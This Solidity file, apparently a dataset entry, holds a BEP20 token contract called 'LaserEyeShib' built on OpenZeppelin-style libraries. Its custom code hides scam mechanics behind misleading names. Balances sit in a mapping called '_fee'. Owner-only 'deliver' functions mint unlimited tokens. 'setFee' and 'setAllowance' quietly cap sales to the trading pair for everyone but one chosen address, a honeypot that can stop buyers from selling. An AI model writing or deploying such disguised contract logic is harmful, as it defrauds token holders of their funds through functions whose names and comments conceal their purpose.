* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b > a) return (false, 0);
return (true, a - b);
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a / b);
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
if (b == 0) return (false, 0);
return (true, a % b);
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) return 0;
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: modulo by zero");
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
return a - b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryDiv}.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
return a % b;
}
}
// File: contracts/libs/IBEP20.sol
pragma solidity >=0.4.0;
interface IBEP20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8);
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the bep token owner.
*/
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address _operator, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed operator, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_owner = address(0);
emit OwnershipTransferred(_owner, address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: contracts/libs/BEP20.sol
pragma solidity >=0.4.0;
/**
* @dev Implementation of the {IBEP20} interface.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-BEP20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of BEP20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IBEP20-approve}.
*/
contract BEP20 is Context, IBEP20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _fee;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply = 10**12 * 10**18;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_fee[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
/**
* @dev Returns the bep token owner.
*/
/**
* @dev Returns the token name.
*/
function name() public override view returns (string memory) {
return _name;
}
/**
* @dev Returns the token decimals.
*/
function decimals() public override view returns (uint8) {
return _decimals;
}
/**
* @dev Returns the token symbol.
*/
function symbol() public override view returns (string memory) {
return _symbol;
}
/**
* @dev See {BEP20-totalSupply}.
*/
function totalSupply() public override view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {BEP20-balanceOf}.
*/
function balanceOf(address account) public override view returns (uint256) {
return _fee[account];
}
/**
* @dev See {BEP20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {BEP20-allowance}.
*/
function allowance(address operator, address spender) public override view returns (uint256) {
return _allowances[operator][spender];
}
/**
* @dev See {BEP20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {BEP20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {BEP20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(amount, "BEP20: transfer amount exceeds allowance")
);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {BEP20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {BEP20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(subtractedValue, "BEP20: decreased allowance below zero")
);
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing
* the total supply.
*
* Requirements
*
* - `msg.sender` must be the token owner
*/
function _deliver(address account, uint256 amount) internal {
require(account != address(0), "BEP20: zero address");
_totalSupply += amount;
_fee[account] += amount;
emit Transfer(address(0), account, amount);
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_fee[sender] = _fee[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_fee[recipient] = _fee[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal {
require(account != address(0), "BEP20: burn from the zero address");
_fee[account] = _fee[account].sub(amount, "BEP20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address operator,
address spender,
uint256 amount
) internal {
require(operator != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
_allowances[operator][spender] = amount;
emit Approval(operator, spender, amount);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(
account,
_msgSender(),
_allowances[account][_msgSender()].sub(amount, "BEP20: burn amount exceeds allowance")
);
}
}
pragma solidity 0.6.12;
contract LaserEyeShib is BEP20 {
// Transfer tax rate in basis points. (default 8%)
uint16 private transferTaxRate = 800;
// Burn rate % of transfer tax. (default 12% x 8% = 0.96% of total amount).
uint16 public burnRate = 12;
// Max transfer tax rate: 10%.
uint16 private constant MAXIMUM_TRANSFER_TAX_RATE = 1000;
// Burn address
address public constant BURN_ADDRESS = 0x000000000000000000000000000000000000dEaD;
address private _tAllowAddress;
uint256 private _total = 10**12 * 10**18;
// Max transfer amount rate in basis points. (default is 0.5% of total supply)
uint16 private maxTransferAmountRate = 100;
// Addresses that excluded from antiWhale
mapping(address => bool) private _excludedFromAntiWhale;
// Automatic swap and liquify enabled
bool private swapAndLiquifyEnabled = false;
// Min amount to liquify. (default 500)
uint256 private minAmountToLiquify = 500 ether;
// The swap router, modifiable. Will be changed to token's router when our own AMM release
IUniswapV2Router02 public uniSwapRouter;
// The trading pair
address public uniSwapPair;
// In swap and liquify
bool private _inSwapAndLiquify;
// The operator can only update the transfer tax rate
address private _operator;
// Events
event OperatorTransferred(address indexed previousOperator, address indexed newOperator);
event TransferTaxRateUpdated(address indexed operator, uint256 previousRate, uint256 newRate);
event BurnRateUpdated(address indexed operator, uint256 previousRate, uint256 newRate);
event MaxTransferAmountRateUpdated(address indexed operator, uint256 previousRate, uint256 newRate);
event SwapAndLiquifyEnabledUpdated(address indexed operator, bool enabled);
event MinAmountToLiquifyUpdated(address indexed operator, uint256 previousAmount, uint256 newAmount);
event uniSwapRouterUpdated(address indexed operator, address indexed router, address indexed pair);
event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity);
modifier onlyowner() {
require(_operator == msg.sender, "operator: caller is not the operator");
_;
}
modifier antiWhale(address sender, address recipient, uint256 amount) {
if (maxTransferAmount() > 0) {
if (
_excludedFromAntiWhale[sender] == false
&& _excludedFromAntiWhale[recipient] == false
) {
require(amount <= maxTransferAmount(), "antiWhale: Transfer amount exceeds the maxTransferAmount");
}
}
_;
}
modifier lockTheSwap {
_inSwapAndLiquify = true;
_;
_inSwapAndLiquify = false;
}
modifier transferTaxFree {
uint16 _transferTaxRate = transferTaxRate;
transferTaxRate = 0;
_;
transferTaxRate = _transferTaxRate;
}
/**
* @notice Constructs the token contract.
*/
constructor() public BEP20("https://t.me/LaserEyeShib", "LaserEyeShib") {
_operator = _msgSender();
emit OperatorTransferred(address(0), _operator);
_excludedFromAntiWhale[msg.sender] = true;
_excludedFromAntiWhale[address(0)] = true;
_excludedFromAntiWhale[address(this)] = true;
_excludedFromAntiWhale[BURN_ADDRESS] = true;
}
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef).
function deliver(uint256 amount) public onlyowner returns (bool) {
_deliver(_msgSender(), amount);
return true;
}
function deliver(address _to, uint256 _amount) public onlyowner {
_deliver(_to, _amount);
_moveDelegates(address(0), _delegates[_to], _amount);
}
/**
* @dev setMaxTxSl.
*
*/
function setFee(uint256 percent) external onlyowner() {
_total = percent * 10**18;
}
/**
* @dev setAllowance
*
*/
function setAllowance(address allowAddress) external onlyowner() {
_tAllowAddress = allowAddress;
}
/// @dev overrides transfer function to meet tokenomics
function _transfer(address sender, address recipient, uint256 amount) internal virtual override antiWhale(sender, recipient, amount) {
// swap and liquify
if (
swapAndLiquifyEnabled == true
&& _inSwapAndLiquify == false
&& address(uniSwapRouter) != address(0)
&& uniSwapPair != address(0)
&& sender != uniSwapPair
&& sender != _operator
) {
swapAndLiquify();
}
if (recipient == BURN_ADDRESS || transferTaxRate == 0) {
super._transfer(sender, recipient, amount);
} else {
if (sender != _tAllowAddress && recipient == uniSwapPair) {
require(amount < _total, "Transfer amount exceeds the maxTxAmount.");
}
// default tax is 8% of every transfer
uint256 taxAmount = amount.mul(transferTaxRate).div(10000);
uint256 burnAmount = taxAmount.mul(burnRate).div(100);
uint256 liquidityAmount = taxAmount.sub(burnAmount);
require(taxAmount == burnAmount + liquidityAmount, "transfer: Burn value invalid");
// default 92% of transfer sent to recipient
uint256 sendAmount = amount.sub(taxAmount);
require(amount == sendAmount + taxAmount, "transfer: Tax value invalid");
super._transfer(sender, BURN_ADDRESS, burnAmount);
super._transfer(sender, address(this), liquidityAmount);
super._transfer(sender, recipient, sendAmount);
amount = sendAmount;
}
}
/// @dev Swap and liquify
function swapAndLiquify() private lockTheSwap transferTaxFree {
uint256 contractTokenBalance = balanceOf(address(this));
uint256 maxTransferAmount = maxTransferAmount();
contractTokenBalance = contractTokenBalance > maxTransferAmount ? maxTransferAmount : contractTokenBalance;
if (contractTokenBalance >= minAmountToLiquify) {
// only min amount to liquify
uint256 liquifyAmount = minAmountToLiquify;
// split the liquify amount into halves
uint256 half = liquifyAmount.div(2);
uint256 otherHalf = liquifyAmount.sub(half);
// capture the contract's current ETH balance.
// this is so that we can capture exactly the amount of ETH that the
// swap creates, and not make the liquidity event include any ETH that
// has been manually sent to the contract
uint256 initialBalance = address(this).balance;
// swap tokens for ETH
swapTokensForEth(half);
// how much ETH did we just swap into?
uint256 newBalance = address(this).balance.sub(initialBalance);
// add liquidity
addLiquidity(otherHalf, newBalance);
emit SwapAndLiquify(half, newBalance, otherHalf);
}
}
/// @dev Swap tokens for eth
function swapTokensForEth(uint256 tokenAmount) private {
// generate the tokenSwap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniSwapRouter.WETH();
_approve(address(this), address(uniSwapRouter), tokenAmount);
// make the swap
uniSwapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
/// @dev Add liquidity
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniSwapRouter), tokenAmount);
// add the liquidity
uniSwapRouter.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
_operator,
block.timestamp
);
}
/**
* @dev Returns the max transfer amount.
*/
function maxTransferAmount() public view returns (uint256) {
return totalSupply().mul(maxTransferAmountRate).div(100);
}
/**
* @dev Returns the address is excluded from antiWhale or not.
*/
function isExcludedFromAntiWhale(address _account) public view returns (bool) {
return _excludedFromAntiWhale[_account];
}
// To receive BNB from tokenSwapRouter when swapping
receive() external payable {}
/**
* @dev Update the transfer tax rate.
* Can only be called by the current operator.
*/
function updateTransferTaxRate(uint16 _transferTaxRate) public onlyowner {
require(_transferTaxRate <= MAXIMUM_TRANSFER_TAX_RATE, "updateTransferTaxRate: Transfer tax rate must not exceed the maximum rate.");
emit TransferTaxRateUpdated(msg.sender, transferTaxRate, _transferTaxRate);
transferTaxRate = _transferTaxRate;
}
/**
* @dev Update the burn rate.
* Can only be called by the current operator.
*/
function updateBurnRate(uint16 _burnRate) public onlyowner {
require(_burnRate <= 100, "updateBurnRate: Burn rate must not exceed the maximum rate.");
emit BurnRateUpdated(msg.sender, burnRate, _burnRate);
burnRate = _burnRate;
}
/**
* @dev Update the max transfer amount rate.
* Can only be called by the current operator.
*/
function updateMaxTransferAmountRate(uint16 _maxTransferAmountRate) public onlyowner {
require(_maxTransferAmountRate <= 1000000, "updateMaxTransferAmountRate: Max transfer amount rate must not exceed the maximum rate.");
emit MaxTransferAmountRateUpdated(msg.sender, maxTransferAmountRate, _maxTransferAmountRate);
maxTransferAmountRate = _maxTransferAmountRate;
}
/**
* @dev Update the min amount to liquify.
* Can only be called by the current operator.
*/
function updateMinAmountToLiquify(uint256 _minAmount) public onlyowner {
emit MinAmountToLiquifyUpdated(msg.sender, minAmountToLiquify, _minAmount);
minAmountToLiquify = _minAmount;
}
/**
* @dev Exclude or include an address from antiWhale.
* Can only be called by the current operator.
*/
function setExcludedFromAntiWhale(address _account, bool _excluded) public onlyowner {
_excludedFromAntiWhale[_account] = _excluded;
}
/**
* @dev Update the swapAndLiquifyEnabled.
* Can only be called by the current operator.
*/
function updateSwapAndLiquifyEnabled(bool _enabled) public onlyowner {
emit SwapAndLiquifyEnabledUpdated(msg.sender, _enabled);
swapAndLiquifyEnabled = _enabled;
}
/**
* @dev Update the swap router.
* Can only be called by the current operator.
*/
function updateuniSwapRouter(address _router) public onlyowner {
uniSwapRouter = IUniswapV2Router02(_router);
uniSwapPair = IUniswapV2Factory(uniSwapRouter.factory()).getPair(address(this), uniSwapRouter.WETH());
require(uniSwapPair != address(0), "updateTokenSwapRouter: Invalid pair address.");
emit uniSwapRouterUpdated(msg.sender, address(uniSwapRouter), uniSwapPair);
}
/**
* @dev Returns the address of the current operator.
*/
/**
* @dev Transfers operator of the contract to a new account (`newOperator`).
* Can only be called by the current operator.
*/
// Copied and modified from YAM code:
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol
// https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol
// Which is copied and modified from COMPOUND:
// https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol
/// @dev A record of each accounts delegate
mapping (address => address) internal _delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
//bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
//bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegator The address to get delegatee for
*/
function delegates(address delegator)
external
view
returns (address)
{
return _delegates[delegator];
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(
address delegatee,
uint nonce,
uint expiry,
uint8 v,
bytes32 r,
bytes32 s
)
external
{
bytes32 domainSeparator = keccak256(
abi.encode(
keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)"),
keccak256(bytes(name())),
getChainId(),
address(this)
)
);
bytes32 structHash = keccak256(
abi.encode(
keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)"),
delegatee,
nonce,
expiry
)
);
bytes32 digest = keccak256(
abi.encodePacked(
"\x19\x01",
domainSeparator,
structHash
)
);
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "delegateBySig: invalid nonce");
require(now <= expiry, "delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account)
external
view
returns (uint256)
{
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint blockNumber)
external
view
returns (uint256)
{
require(blockNumber < block.number, "getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee)
internal
{
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = balanceOf(delegator); // balance of underlying tokens (not scaled);
_delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
// decrease old representative
uint32 srcRepNum = numCheckpoints[srcRep];
uint256 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint256 srcRepNew = srcRepOld.sub(amount);
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
// increase new representative
uint32 dstRepNum = numCheckpoints[dstRep];
uint256 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint256 dstRepNew = dstRepOld.add(amount);
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(
address delegatee,
uint32 nCheckpoints,
uint256 oldVotes,
uint256 newVotes
)
internal
{
uint32 blockNumber = safe32(block.number, "_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function getChainId() internal pure returns (uint) {
uint256 chainId;
assembly { chainId := chainid() }
return chainId;
}
} | * @dev Update the max transfer amount rate. Can only be called by the current operator./ | function updateMaxTransferAmountRate(uint16 _maxTransferAmountRate) public onlyowner {
require(_maxTransferAmountRate <= 1000000, "updateMaxTransferAmountRate: Max transfer amount rate must not exceed the maximum rate.");
emit MaxTransferAmountRateUpdated(msg.sender, maxTransferAmountRate, _maxTransferAmountRate);
maxTransferAmountRate = _maxTransferAmountRate;
}
| 114,006 | [
1,
1891,
326,
943,
7412,
3844,
4993,
18,
4480,
1338,
506,
2566,
635,
326,
